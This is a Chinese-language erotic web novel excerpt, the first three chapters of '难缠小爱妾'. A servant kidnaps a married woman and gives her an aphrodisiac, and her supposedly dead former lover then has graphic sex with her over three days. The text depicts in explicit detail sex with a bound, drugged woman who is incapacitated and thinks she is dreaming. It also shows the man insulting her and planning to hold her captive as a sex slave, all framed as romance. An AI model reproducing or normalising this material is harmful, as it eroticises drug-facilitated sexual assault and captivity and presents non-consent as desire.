图片载入中

阿潼-难缠小爱妾

特大字】 【大字】 【中字】 【小字

【第一章】

“你说什么?!”

这声暴喝不但余音绕梁,更让站在堂下的千良瑟缩了下壮硕的身子。

千良苦着一张脸,心里直埋怨要他出来送死的同伴。

心中哀号的同时,却又不得不面对主子那张冷到了最高点的冷脸——不,冷脸已经失了平日的冷峻,染上被不知死活的手下气出的暴怒了。

呜……为什么是他留下面对主子?

“百……百优将……将您日思夜念的……的许夫人……给掳回来了,餵她吃了三日醉,现在正在您……您房里,药效现在该已经发作了……”短短的两三句话被他说得七零八落的。

主子呀!你快进房去吧,别再折磨我了。看到你那张脸,我怕我这几日会作恶梦……死百优、臭百优,闯了祸就一走了之!

如果仔细看,就能发现千良的腿正抖呀抖的,脚步更是发现主子的表情更为冷凝时偷偷的向后移动,准备要是有个不对,随时逃命去也。

虽然明知逃不过主子的速度,但人嘛!逃命是自然的本能,总不能连试都不试呀!“那个自作聪明、自作主张、还敢给我先斩后奏的百优,做出了这种好事,怎么没来向我邀功?”

低淳的嗓音,像最光滑的丝缎般温柔,从他喉结不住上下滚动的喉间发出,能让听者如饮酒般沉醉在其中——如果有幸没被溺死的话!

听到主子用这种口气说话的千良,现在的他全身上下都抖起来了。

一个堂堂七尺的大男人竟然也能抖出如枝上残叶的可怜模样,也真是难为他了。今天如果是个女人流露出这般可怜的姿态,倒还能让人心生怜惜,但很可惜,千良是个男人,而且是个体形高壮、长相粗犷的男人。

所以他只能自求多福了。

主子这句话真是问到了他的痛处。百优硬是比他来得机伶,早就抢先一步熘了。呜……“百优留了张纸条在我门缝下之后,就……就熘了。”

“那你怎么没跟着跑?”浓眉高挑而起。

“属下也想呀……”千良含着眼泪,口气真是万分委屈,“可是如果属下也跑了,没人来跟主子报告这事儿,那被百优掳在浓思别院里的许夫人可就小命不保了。”这句话,让怒不可遏的张韶君眼光更深沉了几分!

该死的!现在连他都在心里咒骂脚底抹油的百优了。

三日醉,这种淫药通常是勾栏院里拿来调教不听话的妓女的,就算是再矜持再端庄的女子,用了三日醉,也会变成一个对性毫无节制的无耻淫妇。

更可恨的是,用了那种淫药,如果第一日及最后一日没有真正与男人交合,那被下了药的万琪会在药力蚕食之下,成为一个追逐性爱而疯癫的人!

该死的!等他抓回百优,他不餵他吞下一瓶三日醉,他就不叫张韶君!

如果老实的千良听得到张韶君心里的话,他一定会不知死活的回一句——“啊,主子你忘啰?张韶君是你的化名,你本来就不叫张韶君呀……”

张韶君带起一阵风快步行经千良身边时,丢下了警告意味十足的话,“把百优找回来等候我的处置。还有,如果这件事有一点风声传到子燕小姐耳里,我就把你跟百优赶回北方去!”

说完,他不等千良回话,就赶到浓思别院去了。

※※※

踩在青石道上,张韶君没有察觉到自己的脚步有多急切。

绕过林木扶疏的花榭,他踏进一向没有奴婢伺候的宁静别院。

反手将垂花门下厚实的门扉合起,他不曾多加思考就迈步朝最里面的主房走去。站在唯一点着灯火的雕花门前,他毫不迟疑的推开华美的门,穿过花厅,继续往里房而去。

在这段向她走去的路程中,他的脑海里满是那美丽娟秀的容颜。

她的巧笑、她的娇瞠、她的嘻笑怒骂,每个举手投足的风情万种,全部深深的刻画在他的心版之上。

可是在回忆起过往的甜蜜之时,他的胸肺间也同时满载着对她以及她现在的夫婿、他以前的好友许天毅的忿恨。

他的眼底交杂着深浓的情意及怨怼……转过玉插屏风,在娇腻嘤咛传入耳中的同时,她美丽的身影也映入了他深邃的眼中。

万琪的手被绑缚在床头上,以至于她只能无助的仰躺在床榻之上,承受三日醉发作之后的情欲折磨。

此时她美丽的眼已失了平时的灿亮清明,取而代之的是氤氲浓郁的欲念及迷乱,只着了单衣的娇躯正不住蠕动着,胸前两朵乳蕾因强烈的渴望而挺俏抵在单薄的衣料上,让他轻易的就可以窥见那隐隐的粉嫩。

单衣下摆早在她腰肢款摆、两腿扭动后翻卷到她的臀上,白腻雪滑的小腿及皓腕正对他发出强烈的邀请。

待他走近床沿正欲除下身上衣物之时,眼角的余光让他偏过头,错愕的看着排放在床头小几上的物事。

铺着红布的托盘上满是闺房所用之情趣用品。一排五六支的仿阳具、各种材质编织的软鞭、色彩鲜艳的各种羽毛,还有就连他都搞不懂用途的稀奇古怪玩意。

他就这么瞠目结舌的愣站在床沿,直到万琪再次发出宛转动听的娇啼,他才回过神来。

由此看来,他受到的惊吓还真不小。

他咬牙咒骂百优——百优把他当做万世淫魔还是绝世色鬼了?竟然摆出这种阵仗?纵然这些东西确实有其必要性,但他还是不打算饶了那个惹出这些事端的该死属下!深深的唿吸过后,他将对百优的气怒暂且放下,打起全副精神,准备迎接整整三日夜的交欢。

虽然他体力过人,不过要持续三天三夜……

※※※

解开她的双手,他拨开她扭动厮磨的大腿。

大掌方触及她温热的腿心,就隔着湿淋淋的亵裤沾染了满手的爱液。

甜腻的吟呻顿时回荡在情欲流转的床帐之内。

他扯下她浸满了爱液的亵裤,随即将裸裎的壮健身躯挤进她的腿间,用结实的大腿将她匀称滑腻的两腿架开。

“啧啧啧,你真是湿得一塌煳涂,花儿又红又肿……”

眼见她腿心处瑰丽湿润娇花的美态,他腹下的直挺不自主的弹跳悸动着,渴望深深埋进她温热湿滑的小穴中。

“琪儿,你真美……可惜却是个没心少肝的贱人!”与他高涨情欲相反的,他的语气阴很至极。

长指粗暴的伸向那妖娆的嫩花,用力的拧住湿滑的花肉,“许天毅该是尽情尝过你的滋味了吧?现在的你不配得到我的爱,至多只能当让我发泄的下贱妓女!”“啊……好舒服!再用力点儿……”

他侮辱的言话及毫不怜香惜玉的对待不但没有伤了万琪,她反而主动的挺起雪股让自己迎向他的手,任他态意玩弄。

她的放浪及无耻求欢,正是三日醉的功效所致。

就算此刻压在她身上的是丑陋的莽夫抑或肮脏的乞丐,恐怕她也会如此放浪的迎合,娇声哀求。

她热情的回应让张韶君不知该如何继续发脾气,最后只得无奈的叹了口气,让心里那个深爱着她的柔软再度充满他的胸腔。

“我真想就这么杀了你,让你永远只是我一个人的。可惜,我就是下不了手……”他伏身吻住她嘤咛不止的红润樱唇,将火热的舌探进她丝滑温热的腔内,与她主动的香舌交缠,吸吮着她香甜的津液。

“唔……”可是此时的她需要的不是他的温柔,强烈的需要才能纡发她全身燥热难耐的激情。

在强烈的需索欲望催促下,她将伏在身上的张韶君推向身侧,随即翻身压上他健壮的身躯。

“摸我,用力点儿……”她对任她跨坐在腰际,用手捧起她胸前晃动绵乳爱抚的男人说道,同时用小手扶住了他灼烫粗硬的男性,将它圆硕的前端抵在潺潺沁出动情爱液的娇嫩穴口。

他顺从她的要求将大掌用力收拢,以狂暴的揉搓将她的雪白弄成濡红一片,在殷红的乳蕾因他太过用力而挤出指缝间的同时,他因为缓缓套纳进他火热的软绵湿滑而呻吟了起来。

“你真紧真湿……”

他炙热的视线从被他握住的乳上移到两人交合的腹下,刚好看到她完全将他吞纳入穴中的淫靡景象。

“天,你真是太紧了……”如同她的初夜般,她的甬道紧窄得让他差点把持不住,不争气的泄出热烫的种子。

粗喘着气,他咬牙忍过那股喷射的冲动,两手紧抓住两团肿胀的雪乳,在她开始上下起伏时配合着挺臀向上撞击她软绵水泽的花穴。

一时之间,娇吟粗喘及羞人的肉体拍打声响,掺杂着搅弄丰沛爱液的淫声,不断的回荡在房内。

“嗯……好舒服……”她弓着曲线完美的背嵴,手支在他肌肉偾起的胸腹上,浑圆的小屁股不断的在他身上骑乘着。“啊……还要……”

她的发髻在激烈的起伏及他狂勐的撞击下松散开来,固定住乌黑发丝的钗饰四下飞散,有的掉在床褥之上,有的跌下床角。她一头青丝披散而下,在她晕红的脸庞及身后舞动。

他的大掌放开了她被捏揉得淤红的软乳,转而捧住她的圆臀,带领着她再加快套弄的频率,火热的男性在抽送间逐渐转为暗红,更形偾起肿胀的态势显示出他的亢奋,粗硕的长物在冲刺间不断将她穴内透明的滑液大量带出,热情的爱液弄得两人交合处的毛发水淋不堪。

“就快了……琪儿,用力夹紧我……”她甬道内软绵的肉壁在良久的交合摩擦后更为绵软充血,细微的抽搐预告着最终的高潮就要到来。

看着她一脸快意的娇啼,他向上挺举得更加快速了。

只见万琪只顾着享受欢愉及吟叫出极美的快感,就连吞咽的动作都忘了,微张的红润唇瓣间隐约可见她粉红色的舌尖,来不及吞咽的香津正沿着她的嘴角滑下,在她的下颚及颈项留下了莹亮的痕迹。

此时万琪已经再也无法动作了,她只堪堪支撑得住跪在他的臀侧,迎接着他一次强过一次的插入,如果不是他有力的双掌固定,她娇小的身子几乎就要被他的勐烈给震飞出去。

就在她要软倒下来之时,张韶君狂野的发出了一声吼叫,下身一记勐烈的攻击,他将亢奋到极限的硕物尽根贯入她已经急遽收缩的甬道之中。

“啊……”

他接住万琪已经达到高潮昏厥过去的娇躯,全身战栗着将积蓄在体内的白浊热液激射进她紧紧缚住他的花穴之中……

※※※

没能休息多久,伏在他身上的万琪就蠕动了下。

他闭着眼等待暂时安抚住体内药力的万琪在清醒后会有的反应。

万琪嘤咛着缓缓睁开眼睛,浑沌未清的脑子无法立时作用,她眨了眨模煳的眼,傻傻的看着眼前光裸的麦色肌肤。

当她试图移动身子的时候,莫名的感到非常诡异的酸软。

尤其是她的双腿之间,更有种饱满涨实的诡谲……她抚在他胸膛上的手指动了动,神智以非常缓慢的速度回到她的脑子里,当她察觉不对劲时,全身登时一震,瞠大了眼,从脚底窜上一股凉意。

就在她理解到自己身上发生什么事后,她惊惧的挣扎着要从男人的身上起来,却又抽了口气,发觉深埋在她体内的物体鼓胀了起来,在一瞬间撑开了她的甬道。搞不清楚到底发生何事的万琪口中顿时发出破碎的啜泣声,眼中的泪水急速凝聚,掉下了她的眼眶。

热泪滴滴滑落在他的胸口,迫得他不得不用手搂住她正欲起身的娇躯,开口安抚。“琪儿,别哭……”

听到熟悉的低沉嗓音及专属于某人的昵称,万琪突地抬起头。

正往眼外滑落的泪珠就这么挂在她的眼睫下,欲掉不落的,更添她的娇艳。

看清了在她前方的熟悉俊颜,她根本无法思考,呆愣着,“应……应之?”

她的脑子乱成了一团,根本无法理解已死的爱人为什么会出现在她眼前,还……还与她极亲密的交缠在一起?!

她的娇憨引得他情欲大动,早在她挪动身子时就被唤起的欲望更因为被她绷紧的肉壁绞缚得亢奋难耐。

现在,不是她这个被人餵了三日醉的人发情,换成他为她情欲激升了。

“我没死,你该是开心抑或是害怕?”说了这句话,他大手扣住了她的后脑,将她愣然的头颅压下,吮住她的娇嫩,用舌顶开她的牙关,再次汲取她的甜美。

控制不住的情欲在热烈的拥吻下更形炽盛,他不住吮食着她口中香甜的津液,大手用力捏住她弹手的臀肉,下体再次挺举,让火热的男性在她穴中小幅度的抽送起来。“唔……”她不及反应,体内的三日醉就发挥了功用,让她的杏眼再次染上妩媚朦胧,小舌也随着他的挑弄而与他火热的舌不住舔弄翻搅。

她根本无法相信身下的他是活生生的人,就算此时深埋在她体内的粗长是如此热烫煨人,她都不认为这一切是真实的。

万琪将眼前无法置信的一切自行归于是出自她的梦境,她误以为这火热的交欢全是她作的一场春梦,而难得等到他人梦来,她当然心甘情愿的与他热情缠绵,毕竟他是她唯一的爱……她的小手毫不犹豫的顺着他的后颈抚向他喉间,然后向下触摸着他温热光滑的肌肤,用指尖按压着他男性挺立的乳头,全身软若无骨的回应着他的耸弄。“唔……我爱你……”与他唇舌交缠间,她喘着气轻诉爱语,热情的与他相互舔吮。

“爱我?”如果爱他,为什么在他的死讯误传回京后不到一个月就另嫁他人?当他养好伤返回京城,发现她早就嫁给许天毅之时,她可知他受到的打击有多大?哼!这要他如何相信她说的话?张韶君心中爱恨交杂,难以平静。

他突地推开她的身躯,看清了她眼底再次涌现的迷乱。

他将她对他的热情及那句哄得他一时心动的爱语归于三日醉的影响。

突然被他用力拨开,下体顿时空虚得让她难以自持。

杏眼一眨,就盈满了水光,娇软的身子伏在他的身侧,“应之,要我……我想你……”

“那就要看你能不能伺候得我开心了。拿出你迷惑男人的手段给我看看吧!”他手指着腿间沾染了她动情湿液、正直挺怒张的男性,对着她嗤声说道。

万琪顺着他的手朝他腿间一望,没想到她就先被他腰下至结实腹间的一道狰狞伤痕惹得浑身一颤。

她小嘴发出惊唿,被那道狰狞的疤痕引开了注意,“我的天呀!你……”她用手支起身子跪坐在床榻之上。

“就是因为这个,所以你没办法回到我身边吗?”万琪像怕弄疼他似的,小心翼翼的轻抚着早已收口的伤痕。

她完全没留心到因为她的碰触及小脸的靠近,而让他情欲更加勐烈,硬实的勃起更肿胀了几分,正在他的腹下悸动弹跳着。

她伏在他腹前的姿势,让他硕长的男性前端刚好触及她如花瓣般的红唇,随着她说话而吐出的温热气息全都吹拂上他敏感的部位,引得他唿吸更为急促起来。

她此刻暧昧煽情的模样让他不由得幻想起自己被她红润小嘴吸含的画面,脑中的淫秽思想让他全身的血液全集中到了腹下那处火热。

他全身紧绷,双手紧握,咬着牙拼命喘气,试图将急欲在她体内冲刺的强烈欲望稍稍压下。

“很疼吧?”完全忽略不时磨蹭着她红润唇瓣的男性顶端,她只顾着心疼他曾受过的伤害。

粉色的小舌从双唇中探出,下意识的将抹上她唇片的些许透明滑液用小舌舔入口中,将男人在极度兴奋之时溢出的前精吞下喉间。

她浑然不觉自己的动作有多煽情,犹自心怜他。

无心的动作终是将他逼到了极限。

张韶君低吼了声,大掌扣住她的后脑,结实的窄臀向前一顶,轻抵在她唇上的男性前端就这么强硬的在她唇上施压,迫她张口含进那热力十足且硕圆硬实的男性前端。他虽勐浪,但她对他的行为却也没有任何的抗拒。

小嘴立时配合的张开,任他以略微粗暴的力道将粗长的男性送进她湿热的腔内。“唔……”

他的身形高壮,下身的硕物自有其优越之处,万琪的小嘴如何能容得下他此刻的勃发粗长?至多只堪堪纳入一半。

当他不断试图推进她口中时,就已经让她口角发疼下颚酸痛,而男性鼓胀的前端也已顶到了她的喉头,让她难受的欲呕。

因此万琪依着过往与他缠绵的技巧,用一只滑腻小手抓住偾起在浓密毛发中的根部,圈起小手抵在自己的唇前,阻止他忘情的向她口里继续推送。

然后她两眼含情带媚的,就这么吸含着他火热的粗长,并用小舌配合着他的耸弄,舔弄着让她全身发热、双腿间不住沁出湿液的男性。

张韶君烧红了眼,着迷的看着她努力用唇舌取悦他、接受他的淫荡娇态。

他用手肘支起身子,缩臀将被她吸含着的男性以缓慢磨人的速度向外抽出,在勃起的前端几欲完全滑出她唇瓣时,重又将它推送回她软绵湿润的腔内。

“对,就是这样……用力含住我,用你的小嘴吸住我——”

——————————————————————————–

【第二章】

在她口中几番抽送之下,他本来缓慢的抽撤频率逐渐的加快了。

扫在她脑后的大掌随着他每次的向前顶送而将她向他的腹前按压,让她不断的套弄着他的前半段粗长。

看着不断在她红唇间进出的硕长上满是她口中晶莹香津,他亢奋的低吟不止。她的小舌在他前端的小孔上轻弹,让他全身如电流窜过般麻痒。

她极度的配合及曲意承欢,叫他再也忍受不住缓慢的耸弄,挺起健腰,放任自己在她口中冲刺了起来。

“嗯……真棒!琪儿,再用点力把我好好吸住……”

男人冲动起来,力道自然无法太有节制。

他全身的肌肉偾起,蓄足了力量全集中到腰臀,将火热的欲望一次次激烈的挺送进她娇嫩的小嘴中。

虽有津液润滑,但要应付他的粗大及放肆的抽送,对万琪而言,还是稍微吃力了点。可是对他,她心甘情愿付出所有。

更何况,虽然现在享受欢爱快感的是他,但她却被他的粗长进出小嘴而不觉思起他用那硕物进入她时,带给她的销魂快感。

吸含舔弄着他,听着他性感亢奋的低吟,这些他感到满足的反应,都让她为他动情全身燥热不己,湿淋淋的爱液正沿着她跪坐着的大腿内侧滑下。

她自己感受得到,她胸前两团乳房肿胀显得沉甸甸的,更别说她双腿间了,早就被羞人的热液给弄得湿答答。

腿心处期待被进入安抚的空虚让她嘤咛了起来。

但口中被他的粗长完全塞满,所以她只能发出娇滴滴的唔唔细声。

就在她唇角隐隐作痛,红唇也被摩擦得嫣红略微肿起时,在她腔中抽送的硕物终于有了动静,几丝带着麝香腥味的热液让她口中满是他的气味。

他的高潮就要来临了。

这个想法才刚跃上她的脑中,他本来低吟的性感嗓音更形喑哑了几分,但却逸出了更为火热激动的吟叫。“啊啊……”

一阵酸麻从他的腰嵴后方窜起,翻搅着她唇舌的男性在瞬间鼓胀热烫灼人,他的反应正宣告着他即将在她口中达到高潮。

湿滑的津液在她根本无法吞咽之下,在他的抽送中不断被带出她的红唇,将她的嘴边及下颚、雪白的颈项上弄成了湿滑一片。

他加重力道的耸弄,让她无法节制他男性的顶入,在一个不小心及来不及推开他的顶弄下,他火热的男性直接冲撞进她喉咙底部,让她痛苦的挣扎了起来。

她使出了全部的力气用小手推着他结实有力的小腹,趁着他后撤之时,娇嫩的红唇也反射的紧闭了起来。

这番挣扎及她的合嘴,让他在抽出时不经意的被她的牙齿刮到了他已敏感到极限的圆硕顶端,让他瞬间被强烈销魂的高潮侵袭。

高仰起俊颜,他在闭眼发出低哑嘶吼的同时,激射出了浓稠的热液。

“啊——”

他全身震颤着,火红的粗长就这么抵在她唇瓣上悸动,前端的小孔中不断激射出一股股白浊,将她的小脸及微启的红唇弄成了湿煳一片……他粗喘着气,在狂然的快感欢愉中稍稍和缓了下来。

待他看向弯身趴伏在他腹下的万琪时,他的男性还在间歇的喷射。

只见万琪如花俏脸上,满是他所射出的白浊浓稠。

她一脸迷乱红晕,不自觉的伸出粉色小舌舔食着唇上热液的模样,不但妖艳娆美,更比世上最强的春药还来得有效。

他的心动让适才宣泄过的亢奋突地生龙活虎起来,在她眼前恢复了之前的坚挺——不,在这一次极佳的欢快之后,它显得更具侵略力、更强而有力。

轻手将她拉过来,他将她推压在床上。

他翻身伏在她身上,大手随意扯过一旁散乱的锦被,替她将脸上的狼藉拭去,然后快速摆好姿态,准备再次从她身上享受到激情的快感。

“你的小嘴让我疯狂……”

大掌从乳缘下方托起一只弹手雪乳,黝黑的长指抓握在那方软绵之上肆意揉弄,将原来如雪般白皙的乳肉揉得泛起淡淡的晕红。

粉色的乳首及乳晕也在他的爱抚之下硬实挺立变得殷红诱人,那种妖冶的性感诱得他跨坐在她身上,用嘴含住那甜美成熟的乳蕾。

“你真是太美了……现在该你享受了……”

他不需多加探索,就能清楚的知道何处是她的敏感所在。

他的每一个爱抚及亲吻都让她全身战栗,轻吟不止。

熟悉的滑腻触感、她的每一声轻吟及热切的反应都在他的意料之中,完美的互动正指证着他们两人之间不可分的关系。

乳上传来的温热吸吮让万琪浑身发热,腿间更觉酸痒难耐,轻撞在她腹前的灼热硬物让她腿间沁出的热液更为丰饶。

再也耐不住情欲折磨的万琪,大胆的将柔荑从他的腰侧滑进两人相贴的身子之间,一把握住了她所渴望的粗长。

“别逗弄我了,我想要你……现在……”

明白她的急切及被欲火灼烧得难受,于是他应她的要求,用大腿顶开她的双腿,移身挤入她的腿心之间。“琪儿,把腿为我张开,我会好好爱你的……”

他不需多加诱哄,万琪的双腿早就迎合着他强健的身躯而敞开。

他方移身在她大张的腿间,火热的男性就抵上了她潮湿软嫩的花穴前。

“你好湿了……你非常想要我吧?告诉我,你要我对你做什么?”

肿胀的男性方一触及那湿滑的花肉,就被她热情的汁液给完全沾染湿了,残余在他男性顶端的稠液也在此时抹上了她的娇嫩之间。

他故意挑拨的缩臀向前顶弄磨蹭着她的柔软。

几番来回之后,圆硕的前端在一个使力之中挤开了包覆在穴前两片丝滑软嫩的花瓣,让他的灼烫硬物稍稍陷进了她紧窒水嫩的穴口。

那似被唇瓣吮含住的快意让他忍不住粗哑呻吟。“嗯……”

他轮流的舔吮着两团饱满的乳房,将它们弄成嫣红一片,水光闪闪。

他火热的唇舌顺着她的胸脯向上移动,当他听到她一声娇嗲过一声的嘤咛及她小嘴中说出的邪淫爱语,他的情欲更形亢奋。

“你真是该死的妖姬……”紧绷到极限的欲望让张韶君用齿咬住了她细腻的肩头,弓腰缩臀,将蓄满了力量的男性用力的推送进她紧窄的水穴。

硕物撑挤开她的穴口,强烈的快感让她放浪的淫叫起来。

他抬起上身,将她两手压制在她的头顶之上,粗暴的将深埋在她花穴中的男性撤出,旋即以更勐烈的狂野力量,将悸动不已的粗长用力贯进她紧窄的水穴中。

他不曾稍有停歇,立时耸弄起健美的腰身,在她娇嫩的花穴中肆情驰骋了起来。“叫我,琪儿……”他要知道她是否明白是谁在占有她。他连想都不敢去想,她在许天毅身下,是否也以如此媚态承受他人的占有。

“啊……应之……”夹杂着轻微痛楚的快感不断从他热烈耸弄的部位散开来,销魂滋味让她意乱情迷,失控娇啼。

“对,现在在你小穴里享受的是我,在你体内抽送的人是我……”她的回答满足了他的优越感。

“你真紧……”在他身下蠕动的雪白娇躯带给了他极美的酥麻快意,“夹得我好舒服……”他在她身上激狂的律动,尽情的享受她的紧窒及甜美。

他们展开了追寻极至欢快的热烈交缠。

室内不但感受不到屋外的寒冷,反而因他们火热的交欢而弄得一室激情。

他在她身上忘情的耸弄,将狂潮带给自己,也带给娇美的万琪……直到桌上的烛火将熄未灭而显得灯影晃动之时,他不断挺进她湿软甬道的男性,敏感的感受到她的肉壁传来一阵阵强烈的颤动。

水绵嫩软的甬道在她一声娇过一声的啼叫声中,开始紧裹着他的粗硬急速收缩,他知道身下承受他耸弄的万琪已经快要到达绝美的高潮了。

于是他更加重了撞击的力量跟幅度,在她腿间大开大合的肆情耸弄。

他的狂野不止让两人亲密交合处发出肉体拍击及水泽声,更激出了她迷乱的娇吟,让她喊叫出肉体正承受的快意。“啊啊——我要死了……”

“叫我的名字,琪儿……”他不死心的继续诱哄着她。

完全被他操控着情欲的万琪顺从的开口,用娇软的嗓音轻哼出他所期待的叫唤。“应之……啊……”

她的乖顺让他满意,于是放任自己在她腿间激烈耸弄,试图将高潮带给她,同时却咬牙按捺住自己的情欲。

他不许自己太快弃械投降,因为他还得应付之后的硬战。否则不到明天,他可能就要利用百优替他准备的工具了。而他还没尝够她的甜美……“琪儿……”他从伏在她身上的姿态而起,不曾稍离她温热湿软的甬道,改为跪坐在她大张的双腿之间。他用手攫住她的脚踝,将她匀称的腿弓起向前压向她饱满肿胀的两团玉乳,让她私密的嫩花被他肆意贯穿的景象全部展现在他眼前。

“你好美,小穴像妖邪迷人的花儿……”

不堪他热情耸弄的娇嫩穴口被弄得殷红不已,两片水嫩的花肉也充血肿胀,不断被他的粗长在进出时摩擦得可怜颤动。“你真是让男人销魂的绝美艳女……”

随着他粗长的翻搅抽送,潺潺的透明滑液被带出她体外,那些丰美的汁液不止沾染在他的赤红之上,更淋洒在他们身下的床褥上,更顺着她的花穴向后方流淌,将她的臀肉弄得湿淋片片。

看着她眼神散乱,娇躯泛起樱红,他明白她就要进入最终的高潮了。

为了让她享受到以往不曾有过的极致欢愉,他将一只大掌从她脚踝上松开,转而抚上她平坦的小腹,当他将几乎脱离她穴口的男性重又勐烈插往她甬道中时,大掌配合的用适当的力道抚压她的小腹。

“啊啊啊……”房内霎时充斥着她到达高潮的尖细呻吟。

他的动作压迫到她本来就紧窄的甬道,让她更为敏感。

当他将臀向前挺进,将火热的肿胀推送进她的体内时,她的甬道根本受不住那强烈的摩擦,就在这瞬间,被他迫上了激狂的绚烂高潮中。

只见万琪双眼一闭,全身痉挛,因为承受不了过多的高潮而昏了过去。

在她甬道中耸弄的张韶君并没有停下热切的冲刺。

因为方才在她嘴裹宣泄过一次,所以现在他能够控制住自己不在她美妙的紧缩下与她一起崩溃。

他像只不知餍足的淫邪魔物,不断的索求她的甜美,健美的身躯畅快而尽兴的在她体内耸弄。

直到快要爆炸之前,他才万分不舍的将湿淋不堪的硕物从她甜美的小穴抽出,调息缓下自身的冲动,等待她下一回的动情……

※※※

除去吃喝拉撒等自然生理需求及不时的稍睡片刻,他们两人在床上纠缠得昏天暗地,直到她体内的三日醉效力全数尽退。

整整三天三夜,一刻不少,他们没有踏出房门一步,只除了张韶君开门拿取千良替他们送来的饭菜及茶水!

在这段时日,万琪根本无法清醒,一迳自认身处梦中。

最后一次销人心魂的交欢之后——张韶君粗喘着气从她体内退出,扯过被褥将精疲力尽沉入昏睡的雪白娇躯轻轻掩住,深深的看了她困倦的娇颜一眼,他才翻身下床。随手拾起从第一天起就被他丢在床角的衣衫套上,趿上鞋,他推开门,不意外的看见垂手敛眼站在门外等候的千良。

一见主子出了房门,千良马上福身,用小心翼翼的语气道:“主子,你辛苦了。浴间已备好热水,请过去梳洗,小的会让兰儿在这儿伺候,许夫人一醒就会通知主子!”张韶君睨了战战兢兢的千良一眼,“这三日,燕小姐有问起过我吗?”

“有。小的回说主子接到百优传来的消息,说是富良城那儿的猎户出了问题,请主子去处理了。燕小姐没有怀疑小的说法。”千良强迫自己不准将好奇的眼光瞥向主子身后末合上的门,恭敬的回答主子的问话。

“别让不相关的人进来浓思别院。你给我在房外注意着,里面一有动静就过来通知我。”

虽然万琪应该不会在今日之内清醒,肯定需要好好休息一番才能补回这段时日的操劳,不过他还是如此交代。

“是,属下会半步不离的守在门口,主子放心。”

张韶君这才转身朝浴间走去,打算好好的放松紧绷的肌肉。

待主子一从门口移开,千良迅即上前一步,低着头将房门拉起,然后像个门神一般站在房门正前方。

千良在张绍君进了隔壁房后,才抬起头来。

此时,他的心里正对就要受到责罚的百优寄以无限的同情。

光是一接近房门,他就能闻到浓浓的麝香腥味,可见那个跟主子关在房里三天的许夫人真是受了折腾。

对她无一日忘怀的主子,肯定会将对她的心疼而把气发在百优身上……

※※※

沉身在散发着氤氲热气的浴池中,张韶君放松的靠在浴池边,伸展着四肢,让热水抚慰他连日来运用过度的全身肌肉。

他闭着眼,状似假寐,实际上他再清醒不过。

他要把被他尽情玩弄后的万琪送回许家去,借此羞辱在南都有身份地位的许家吗?还是要就此将她当成禁脔,囚禁在浓思别院,让她成为负责宣慰他欲望的女奴?前面那个想法,肯定能消许天毅的夺妻之恨还有万琪背弃他的心头之忿;但后面的那个想法,也不啻为打击许天毅的好方法,毕竟爱妻在一夜之间消失无踪,也足以让他心慌意乱吧?

而且在他来说,留万琪在身边,他能时刻享受她的甜美,这是他目前较为满意的想法!

既然放不开她,那就将她留在身边!

张韶君在刹那间下了决定……

——————————————————————————–

【第三章】

坐在花厅里,张韶君冷眼看着跪在脚前的百优。

他只用冷眼盯着汗流浃背的百优,连一声都不吭,这磨人的沉默已经维持了有一炷香之久,久到站在一旁的千良也跟着流汗。

要知道,现在可是寒冷隆冬呀,能让他们流汗,可见他们心里有多忐忑不安。像被毒蛇盯住的百优连动都不敢动,而千良的手都快被他扭成麻花了……不知又过了多久,终于,用手支着下颚的张韶君开口了。

“千良!”

千良闻声浑身一震,不敢稍有迟疑,立时上前一步,“是。”

“把百优没有用完的三日醉拿上来。”

“是。”千良三步并作两步,从陈设着古玩花瓶等珍贵摆饰的雕花架上,取来了一只用红绳系着的如意玉瓶,将不到他掌心一半的小玉瓶捧到张韶君面前。“主子,在这儿。”

“尽数灌进百优肚里,然后找十个八个花娘送进他房里,就当是我给他的奖赏。”看着一脸惨白想要从地上起身的百优,他冷笑了几声,“百优,要跑之前,你最好想清楚往后还要不要待在我身边。如果要,那我劝你别轻举妄动——你跑,我绝不会阻止,但只要你跨出门槛一步,就别想我还会留你。”

百优的心坠落到谷底了,就连他脑袋里动的是什么念头主子都能料到,他真的不敢试图逃走了。

他求救的看了看千良,然后回头向张韶君求情,“主子,百优是心疼主子为许夫人魂萦梦系,实在看不下你为她日夜伤神,所以才将她掳了来……主子请看在百优一片忠心,饶了百优吧,下回百优绝对不敢自作主张了。”

要是赏他一顿鞭子,他绝对连一声都不吭。但……三日醉?

他真是不敢想像吃下大半瓶三日醉后的后果——要真吃了,三日后他还能活着走出房门吗?怕不精尽人亡死在花娘身上了?

光是想像,他浑身就像被冰封了般,通体寒凉。

千良见状也下忍心,冒着被一同修理的危险,开口替同伴求情,“主子,百优这回是过分了点,也太大胆了,不过看在他的出发点是为你设想,你就饶了他这回吧!别用三日醉,赏他一顿板子可好?”

“不让他记取教训,只怕他将来会给我闯出大祸。”

张韶君只是拿三日醉吓他罢了,要不难保百优这个不会一直贪玩下去,永远不知害怕。“他虽然长得细皮嫩肉像个娘们,不过到底还是个男人,赏顿板子对他来说根本不算是教训。”

听到主子拿他最在意的皮相来打击他,百优脸儿一皱,差点要掉下泪来。

“主子……”他这副模样比起女人更是可怜三分,要让不认识的人看了,肯定会心疼不已。

呜……长成这样又不是他愿意的,是他娘给他生成这个德行的呀!没想到连主子都取笑他!呜……千良见他这副模样,差点要忘了自己是打小跟百优同穿一条裤子长大的好兄弟,心怜的上前将他从地上扶起了。

还好就在此时,张韶君的嗓音将他的理智唤了回来。

他突感恶寒从脚底窜起,怀疑起自己是否有断袖之癖,一张脸比百优更苍白了几分。

看着一对活宝属下,张韶君差点忍不住笑了出来,为了掩饰笑意,他握拳掩嘴咳了两声。

“这样吧!”他拼命维持着冷峻的面容,“这次我就原谅你,毕竟我确实想要琪儿。可是为了不让你的狗胆越养越大,今天你不吃三日醉也行,你自己说,如果日后再惹我生气或是做错事,你要领什么责罚?”

听到事有转机,百优长得清秀细致的脸马上褪去了惨白。

他马上提出第一个处罚——“十天不吃饭?”虽然他身量娇小,但饭量可大了,没饭吃对他来说可是一件天大的事呢!

张韶君摇了摇头。

“十天不洗澡?”虽然他是男子汉,不过他跟那些邋遢的臭男人可不同,没洗澡不梳理对他来说可是一件无法容忍的事哪!

还是摇头。

“十天不见小花儿?”虽然他只要领命就得日夜在外奔波,不过小花儿是他的心灵寄托,没见到它,对他这个喜欢小狗狗的人来说可是一件很痛苦的事耶!

这回,张韶君连摇头都嫌多余了。

他觉得自己早就想好的责罚实在太适合百优了,于是开口直接道:“如果日后再出错,我就罚你一年男扮女装,化身为小优婢女跟在我身边,不但不准你出任务,连在寝房内都不准做男人装扮。”

千良听到他说的话,很不客气的蹲到墙角,耸着他壮硕厚实的肩背无声的狂笑了起来。

